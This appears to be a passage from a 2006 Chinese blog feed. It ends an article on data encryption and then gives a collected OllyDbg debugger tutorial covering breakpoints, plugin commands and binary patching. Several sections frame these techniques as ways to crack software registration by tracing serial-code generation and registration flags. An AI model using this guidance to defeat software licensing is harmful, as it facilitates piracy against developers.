		<p>随着信息化走进千家万户，人们越来越关注自己的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>，而<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>除了在攻防体系上必须有所保障以外，关键的一点就是要对其进行强度够高的加密，进一步减小<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>被盗窃后的损失。这一观点早已在<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">网络</font></a><a href="http://bbs.cnxhacker.net/"><font color="#002c99">论坛</font></a>的发展中得到证实，早期的<a href="http://bbs.cnxhacker.net/"><font color="#002c99">论坛</font></a><a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>库都是未经过加密处理就直接保存的，在这个前提下，只要入侵者拿到了<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>库，就等于拿到了整个<a href="http://bbs.cnxhacker.net/"><font color="#002c99">论坛</font></a>，因为密码字段是明文形式的。有些重要的网站甚至使用一些后台没有提供<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密方案的程序做站点，这是非常不明智的。</p>
		<p>确定了加密方案后，有些人就自己写算法进行<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密，殊不知这也算产生了<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>隐患，通常个人无法写出高强度的加密算法，入侵者如果稍加分析便能破译内容，你的辛苦也就付之东流。相反，如果采用在国际得到<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>认证的流行加密方案，<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>反而提高了，何乐不为？</p>
		<p>不过，随着计算机<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>的发展，特别是运算速度的提高，使得目前通用的一些高强度算法逐渐有了疲惫的趋势，也许再过不久，它们就会被攻破了，到那个时候，我们又该拿什么去捍卫<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>呢？</p>
		<p>参考文献：<br />《MD5算法研究》<br />《DES算法实现过程分析》<br />《RSA算法基础》<br />《RC4加密算法》<br />《加密和 Microsoft 公钥基础结构》</p>
<img src ="http://www.cnitblog.com/torch/aggbug/9426.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-20 20:53 <a href="http://www.cnitblog.com/torch/articles/9426.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OllyDbg知识专题</title><link>http://www.cnitblog.com/torch/articles/9425.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Thu, 20 Apr 2006 12:48:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9425.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9425.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9425.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9425.html</trackback:ping><description><![CDATA[转Draren总结的ollydbg v1.09d 中文版使用说明  <br /><br />一点一滴的积累,也就会了.   <br /><br />之所以选择ollydbg   <br /><br />1.我的os是winXP,无法使用trw2000,而softice装了多次均未成功,还蓝屏死机多次.郁闷.   <br /><br />2.友好的gui界面,不像softice.可以边干活边听歌,不像softice,把整个os都挂起了.多用两次,连时间都不知道了.   <br /><br />3.强大的内存查看功能,再不用什么-d了,而且跳转方便,爽!一目了然.   <br /><br />4.强大的右键菜单功能   <br /><br />ollydbg的界面:   <br /><br />菜单:   <br /><br />文件:   <br />1.其中包括该菜单的下部有上次打开的纪录,该纪录保存有上次未清除的断点.   <br />2.附加.对付那些Anti-Debug程序.先运行程序,再运行od,文件--&gt;附加.   <br />查看:   <br />1.执行模块(Alt+E),查看程序使用的动态链接库   <br />2.查看断点.Alt+B   <br />调试:   <br />1.运行(F9)加载程序后,运行!   <br />2.暂停(F12)   <br />3.单步进入(F7)遇见CALL进入!进入该子程序.   <br />4.单步跳过(F8)遇见CALL不进去!   <br />5.执行到返回(ALT+F9)就是执行到该子程的返回语句   <br /><br />ollydbg的16进制编辑功能.类似与hiew,hex workshop   <br /><br />查看--&gt;文件   <br /><br />二进制文件编辑功能.查看--&gt;文件,打开的文件是二进制显示.选中要改变的机器指令,空格,修改,右击--&gt;保存.   <br /><br />ollydbg的四个区域   <br /><br />左上角是cpu窗口,分别是地址,机器码,汇编代码,注释;注释添加方便,而且还能即时显示函数的调用结果,返回值.   <br />右上角是寄存器窗口,但不仅仅反映寄存器的状况,还有好多东东;双击即可改变Eflag的值,对于寄存器,指令执行后发生改变的寄存器会用红色显示.   <br />cpu窗口下面还有一个小窗口,显示当前操作改变的寄存器状态. 不错;   <br />左下角是内存窗口.可以ascii或者unicode两种方式显示内存信息;   <br />右下角的是当前堆栈情况,还有注释啊.   <br /><br />F3选择打开程序.   <br /><br />使用   <br /><br />F9执行程序.   <br /><br />下断点:   <br /><br />1.对函数下下断点   <br /><br />在代码区右击--&gt;搜索--&gt;当前模块中的名称(ctrl+N),在跳出来的对话框中选择需要下的断点函数.-&gt;右击-&gt;查找导入参考(enter),按F2下断点.如果有多个地方调用了该函数就这样操作。   <br /><br />2.在需要的地方下断点 F2   <br /><br />添加注释:   <br /><br />在代码区第四列,右击--&gt;注释   <br /><br />查看内存地址   <br /><br />右击内存地址列--&gt;前往--&gt;输入要查看的内存地址   <br /><br />在函数lstrlen的注释的上方,有一个变量string,当执行到该函数的时候,string后面会出现lstrlen函数的参数字符串.在实际使用中一般是输入的字符串.(很好用哦)   <br /><br />类似的还有lstrcmp,上面有string1,string2能够显示将要比较的两个字符串.   <br /><br />另外,一般在执行getwindowtext等函数后,右边寄存器列,eax会显示函数的返回值,即取到的内容.同时内存中也会有显示.   <br /><br />在反汇编中选中一条命令，如果其中有用到内存中的地址,右击--&gt;在转存中跟随--&gt;直接常数   <br />此时内存地址会显示指令中引用到的内存字符   <br /><br />拷贝功能十分强大.直接选择要拷贝的内容.右击--&gt;复制--&gt;文件or剪贴板   <br /><br />ollydbg的条件断点可以按寄存器，存储器，消息（必须是消息的数字，如wm_command就是111）等等设断，非常强大，一旦设了之后记录到文件中，下次restart程序还能用，不用拿笔记，很方便。   <br /><br />显示跳转路进:   <br />选项--&gt;调试设置--&gt;cpu页--&gt;显示跳转的方向,显示跳转的路径,如果跳转没有实现则显示灰色路径。在cpu窗口中,机器码的前面显示"&gt;"符号.同时,在cpu窗口下的小缝中会显示跳转路径,从何跳转而来.右击--&gt;前往...一般都是条件跳转，上面的内容就是比较的地方啦。：）   <br /><br />跟踪功能:   <br />选项--&gt;调试跟踪--&gt;跟踪:设置运行跟踪的缓存大小.越大越好.   <br />调试--&gt;打开或清除运行跟踪   <br />然后我们就可以用CTRL+F11或CTRL+F12开启“跟踪进入”和“ 跟踪跳过”了。当我们暂停程序的时候，可以用小键盘上的“+”，“-”，“*”来控制跟踪功能了。   <br />其中,“跟踪进入”和运行类似，但是记录所有指令以及寄存器变化。并且会自动进入所有的CALL中。   <br />“ 跟踪跳过”和“跟踪进入”类似，但是不进入CALL   <br />“+”用来显示跟踪缓冲区中的下一条指令   <br />“-”用来显示跟踪缓冲区中的上一条指令   <br />“*”用来发返回当前指令   <br /><br />让OD显示MFC42.DLL中的函数   <br />打开调试--&gt;选择导入库--&gt;添加--&gt;选择MFC43.LIB加入.重新载入MFC程序，就可以看到call后面的api函数了.   <br /><br />动态暂停以messagebox为例)   <br />先运行目标程序,再运行od,选择文件--&gt;附加.在目标程序运行出现对话框时,切换至od,F12暂停.   <br /><br />字符串参考:   <br />在汇编代码区,右击--&gt;搜索--&gt;字符参考   <br /><br />更改二进制文件:   <br /><br />方法1.查看--&gt;文件,打开文件,找到欲修改的偏移,使用机器码修改,然后右击保存文件.缺点是需要使用其他软件来获取偏移地址.   <br /><br />方法2.直接在反汇编代码区更改,这时可以使用汇编代码更改,不用记机器码.完了.右击--&gt;复制到可执行文件--&gt;保存文件.很是方便哪!   <br /><br />关于虚拟地址和偏移地址:   <br />ollydbg果然强大,太强大了,在欲修改的指令处右击--&gt;复制到可执行文件,弹出窗口中光标所在行即是欲修改的指令所在的偏移地址,右击--&gt;汇编,直接修改汇编指令,不用记机器码,又不用虚拟地址到偏移地址的转换.改完后保存文件.爽丫!  <br />olldbg 下怎么下消息断点？  <br /><br />如在softice 中下 BMSG 0084 WM_DESTROY，在olldbg下该怎么做？  <br /><br />不如下断 SendMessage，PostMessage，程序中的消息不一定都经过消息循环。  <br /><br />Ollydbg下消息断点的一个方法  <br /><br />原文：  <br />SoftIce can trace application messages. And Olly?   <br />by FuZzYBiT  <br /><br />SoftIce can trace application messages. And Olly?  <br />And so does OllyDbg. That’s a very “hidden feature”. I guess it is sooo useful.  <br />1. Open program  <br />2. Names window [CTRL+N in CPU Window]  <br />3. Find User32.TranslateMessage API  <br />4. right click/FindReferences  <br />5. conditional breakpoint [SHIFT+F4]  <br />6. expression: MSG  <br />7. Log function arguments: Always  <br />If you cannot find it, try right click SEARCH FOR-&gt; ALL INTERMODULAR CALLS.  <br />But if I want to trap a specific message like WM_COMMAND?  <br />To Log Only WM_COMMAND  <br />Do it in this fashion:  <br />1. Open program  <br />2. Names window [CTRL+N in CPU Window]  <br />3. Find User32.TranslateMessage API  <br />4. right click/FindReferences  <br />5. conditional breakpoint [SHIFT+F4]  <br />6. Condtion box: MSG==WM_COMMAND  <br />7. Log function arguments: On Condition  <br />If you can’t find User32.TranslateMessage API, do the same as above.  <br /><br />翻译:  <br /><br />SoftIce 能够跟踪应用程序的消息，那么OllyDbg呢？  <br />by FuZzYBiT  <br /><br />OllyDbg也是可以的，那是一个非常"隐蔽的功能"。它是如此的有用。  <br />1. 打开程序  <br />2. 名字窗口[ 在CPU窗口中按CTRL+N ]  <br />3. 查找 User32.TranslateMessage API  <br />4. 右击/FindReferences(查找参考)  <br />5. 下条件断点 [SHIFT+F4]  <br />6. 表达式: MSG  <br />7. 记录函数参数:永远  <br /><br />如果你不能找到它，试试右击鼠标，然后搜索全部模块中的名称。  <br />但是如果我想要捕捉一个特定的消息如WM_COMMAND呢?  <br />只对WM_COMMAND记录  <br />用这个方法做:  <br />1. 打开一个程序  <br />2. 名字窗口[ 在CPU窗口中按CTRL+N ]  <br />3. 查找 User32.TranslateMessage API  <br />4. 右击/FindReferences(查找参考)  <br />5. 下条件断点 [SHIFT+F4]  <br />6. 条件框:MSG==WM_COMMAND  <br />7. 记录函数参数: 条件满足时  <br />如果你不能找到User32.TranslateMessage API，象上面那样做。  <br />以下命令适用于 OllyDbg 的命令行插件 Cmdline.dll（显示于程序的插件菜单中）  <br />聆风听雨整理  <br />===============================================================  <br />命令行插件支持的命令  <br /><br />CALC  <br />判断表达式  <br /><br />WATCH  <br />添加监视表达式  <br /><br />AT  <br />在指定地址进行反汇编  <br /><br />FOLLOW  <br />跟随命令  <br /><br />ORIG  <br />反汇编于 EIP  <br /><br />DUMP  <br />在指定地址进行转存  <br /><br />DA  <br />转存为反汇编代码  <br /><br />DB  <br />使用十六进制字节格式转存  <br /><br />DC  <br />使用 ASCII 格式转存  <br /><br />DD  <br />转存在堆栈格式  <br /><br />DU  <br />转存在 UNICODE 格式  <br /><br />DW  <br />使用十六进制字词格式转存  <br /><br />STK  <br />前往堆栈中的地址  <br /><br />AS  <br />（AS + 地址 + 字符串）  <br />在指定地址进行汇编  <br /><br />BP  <br />进行条件中断（有条件的断点）  <br /><br />BPX  <br />中断在全部调用 （Call）  <br /><br />BPD  <br />清除全部调用中的断点  <br /><br />BC  <br />清除断点  <br /><br />MR  <br />内存断点于访问时  <br /><br />MW  <br />内存断点于写入时  <br /><br />MD  <br />清除内存断点  <br /><br />HR  <br />访问时进行硬件中断  <br /><br />HW  <br />写入时进行硬件中断  <br /><br />HE  <br />执行时进行硬件中断  <br /><br />HD  <br />清除硬件断点  <br /><br />STOP  <br />停止运行程序调试  <br /><br />PAUSE  <br />暂停执行程序调试  <br /><br />RUN  <br />运行程序进行调试  <br /><br />GE  <br />运行和通过例外  <br /><br />SI  <br />单步进入 Call 中  <br /><br />SO  <br />步过 Call  <br /><br />TI  <br />跟踪进入直到地址  <br /><br />TO  <br />跟踪步过直到地址  <br /><br />TC  <br />跟踪进入直到满足条件  <br /><br />TOC  <br />跟踪步过直到满足条件  <br /><br />TR  <br />运行直到返回  <br /><br />TU  <br />运行直到用户代码  <br /><br />LOG  <br />查看记录窗口  <br /><br />MOD  <br />查看模块窗口  <br /><br />MEM  <br />查看内存窗口  <br /><br />CPU  <br />查看 CPU 窗口  <br /><br />CS  <br />查看 Call 堆栈  <br /><br />BRK  <br />查看断点窗口  <br /><br />OPT  <br />打开选项设置窗口  <br /><br />EXIT  <br />退出 OllyDbg  <br /><br />QUIT  <br />退出 OllyDbg  <br /><br />OPEN  <br />打开一个可执行文件  <br /><br />CLOSE  <br />关闭可执行文件  <br /><br />RST  <br />重新运行当前程序  <br /><br />HELP  <br />查看 API 函数的帮助  <br /><br />OllyDbg应用方法大全--请补充！  <br /><br />所有文章均为散落在DFCG论坛各处或其他网络文集的经典。  <br />雪很冷搜集整理于学习笔记或与朋友讨论之中  <br /><br /><br />Ollydbg 中断方法  <br /><br /><br />Quote:   <br />Originally posted by dong at 2004-6-1 10:29 PM:  <br />我问个问题  <br />在od中怎么下断点呢??  <br />现在有的程序一点注册就没反映了  <br />这样的怎么下断点呢??  <br />能介绍下什么情况下什么断点吗?   <br />在转存中下硬件访问－&gt;Word"断点，下断之后，怎么取消！   <br />9398944(老菜鸟) 11:09:59  <br />alt+D 按H 然后删除   <br /><br /><br />这个没有万能的方法，只能视具体情况而定，就我的经验而言：  <br />第一步，反汇编找有用信息，有时候虽然点击注册按钮后，没有任何反映，但软件也许包含了可用的信息，比如“未注册”，“已注册”等等之类的，都可用做断点的。  <br />第二步，如果反汇编也找不到有用信息，如果用OD可以下HMEMECPY断点，在每个调用的函数上下断，虽然这个法子太笨，但我试过，几乎有70%以上的机会可找到断点，找到断点后再慢慢跟吧!这只是个人的看法，关键只要找到断点，有什么办法都无所谓。  <br />在命令行下bpx hmemcpy断点，然后回车，在每个调用的函数上下断。  <br />有的程序甚至无法用API中断，可以在OD载入程序后上下翻动反汇编窗口查看字符串参考下断，在反汇编窗口里直接找到的，右键查找那里找不到  <br /><br /><br />转发Ollydbg 中断方法浅探-各种断点常识知识  <br /><br />Ollydbg 中断方法浅探   <br />              ――国庆节小礼   <br /><br />Ollydbg是一个新的32位的汇编层调试软件。适应于windows98、me、2000、xp和2003操作系统。由于他具有图形窗口界面，所以操作方便、直观，是cracker的好工具。   <br />由于Ollydbg没有了TRW2000的万能断点，所以许多的新手感觉到用Ollydbg断点不好找。现在我来的说说Ollydbg下中断的几种方法。本人是个菜鸟，水平有限，可能不能完整的写出来，也可能存在错误。请大家指正。   <br />我所表述的是Ollydbg v1.09d中文版，其他版本和英文版下自己参考。   <br /><br />第一 寻常断点   <br />Ollydbg中一般下中断的方法，就是在程序的地址处用鼠标选择这一行。然后按F2键，这时被选择的那一行的地址会变成别的颜色，就表示这个地址处下了中断。然后运行程序时只有到这个地址处就会被Ollydbg中断。   <br />这个方法用的比较多，所以把他称作寻常断点。   <br />如果有命令行插件，就可以在命令窗口中输入BPX xxxxxxxx 下断点。   <br />优点：只要自己怀疑是重要的代码处都可以下这种下断点，不受条件的限制，所以方便实用。   <br />缺点：如果不知道代码功能下断点具有盲目性。   <br /><br />第二 API断点   <br />Ollydbg中一般下API中断的方法，有二种。   <br />1. 在代码窗口中点鼠标右键，出现功能菜单。在[搜索]选择项下有〔当前模块的名称〕和〔全部模块的名称〕俩项，选择其中的一项就打开了程序调用API的窗口，在这个窗口中选择你要跟踪的API函数名。双击这个函数就能到程序的调用地址处。然后用F2下中断。也可以在API窗口中选择需要跟踪的函数点鼠标右键出现功能菜单，选择〔在每个参考设置断点〕。同样下了断点。                   <br />快捷方式：Ctrl+N   <br />2. 在命令行窗口中输入BPX API函数名或者BP API函数名 后回车。这时出现了所有调用这个函数的地址的窗口，在这个窗口中可以看到调用这个API函数的地址已改变了颜色。说明下好了断点。   <br />说明一下：BPX一般中断在程序调用API的地址处。BP会中断在API的写入地址处。二这有所不同，根据需要选择。   <br />优点：这种方法下的断点是针对每一个API函数的，所以具有明确的目的。   <br />缺点：关键的API函数不容易找到。所以有时下的断点没有作用。   <br /><br />第三 内存断点（跟踪关键数据的断点）   <br />Ollydbg中的内存断点相当于TRW中的bpm 断点。   <br />下断点的方法是：在程序运行中断时选择界面中的转存窗口，用光标选择内存中的一段关键数据（颜色会改变），然后右击鼠标出现功能菜单。选择〔断点〕项，其中有二个选择〔内存访问〕和〔内存写入〕。   <br />〔内存访问〕断点是程序运行时要调用被选择的内存数据时就会被Ollydbg中断，根据这个特点在破解跟踪时只要在关键数据内存中下中断就可以知道程序在什么地方和什么时候用到了跟踪的数据。对于一些复杂算法和流程变态的算法跟踪有很大的帮助。从破解上讲，一个注册码的生成一定是由一些关键数据或者原始数据计算来的。所以在内存中一定要用到这些关键数据。那么〔内存访问〕断点就是最好的中断方法。   <br />〔内存写入〕断点是程序运行时向被选择的内存地址写入数据时就会被Ollydbg中断。根据这个特点在破解时可以跟踪一个关键数据是什么时候生成的，生成的代码段在那个地方。所以一个关键的数据如果不知道他的由来就可以用〔内存访问〕断点查找计算的核心。   <br />内存中断的下断点还有另外的一种方法：程序运行时如果知道关键的数据，比如我们输入的试验码、程序生成的序列号等。这时在内存中一定存在这些数据。用Alt+M打开内存窗口，在这个窗口中搜索知道的关键数据。用光标选择这些数据同样下内存中断，这种方法更容易找的关键的数据。   <br />优点：断点是直接面向关键数据的，所以比较容易到核心部分。   <br />缺点：内存断点重新运行后会消失，干扰比较多。   <br /><br />第四 硬件断点（跟踪关键标志的断点）   <br />硬件断点是Olldbg所特有的断点，他不会因为重新运行就销毁，只要不删除。跟踪这个程序时就有效。但他在98系统下会不起作用。   <br />硬件断点是根据关键标志回逆到关键代码的好方法。下中断的方法和内存断点的方法相同，有三个方式〔硬件访问〕、〔硬件写入〕、〔硬件执行〕。一般用前2个。他也同样有内存断点的特性，所以可以用内存断点的地方也可以用硬件断点。这里介绍利用他来跟踪注册标志的使用方法，一般软件的注册都用到了标志比较。即在内存地址中有一个标志，在判断是不是注册时比较标志的值。不同的值表示不同的注册状态。这个标志的地址一般比较固定。根据这个特点可以下硬件断点来跟踪标志位是什么地方被标志的。   <br />方法：在转存窗口中选择到标志存放的内存地址处，然后选择标志值。下〔硬件写入〕中断（根据标志的字节下不同的长度）。重新运行程序你会发现Ollydbg会不断的中断在这个标志的内存地址处。在功能菜单的〔调试〕选项下选择〔硬件断点〕就打开了硬件断点的窗口，在这个窗口中选择〔跟踪〕，这时转存窗口就会来到被下中断的内存地址处。运行程序跟踪内存地址中的值就会知道被赋标志的代码，跟踪到计算的核心。〔硬件访问〕的使用可以知道程序在运行时多少地方用到了这个注册标志。对于破解复杂效验的程序十分的有效。   <br />直接在命令栏里下bh ****硬件断点<img src ="http://www.cnitblog.com/torch/aggbug/9425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-20 20:48 <a href="http://www.cnitblog.com/torch/articles/9425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>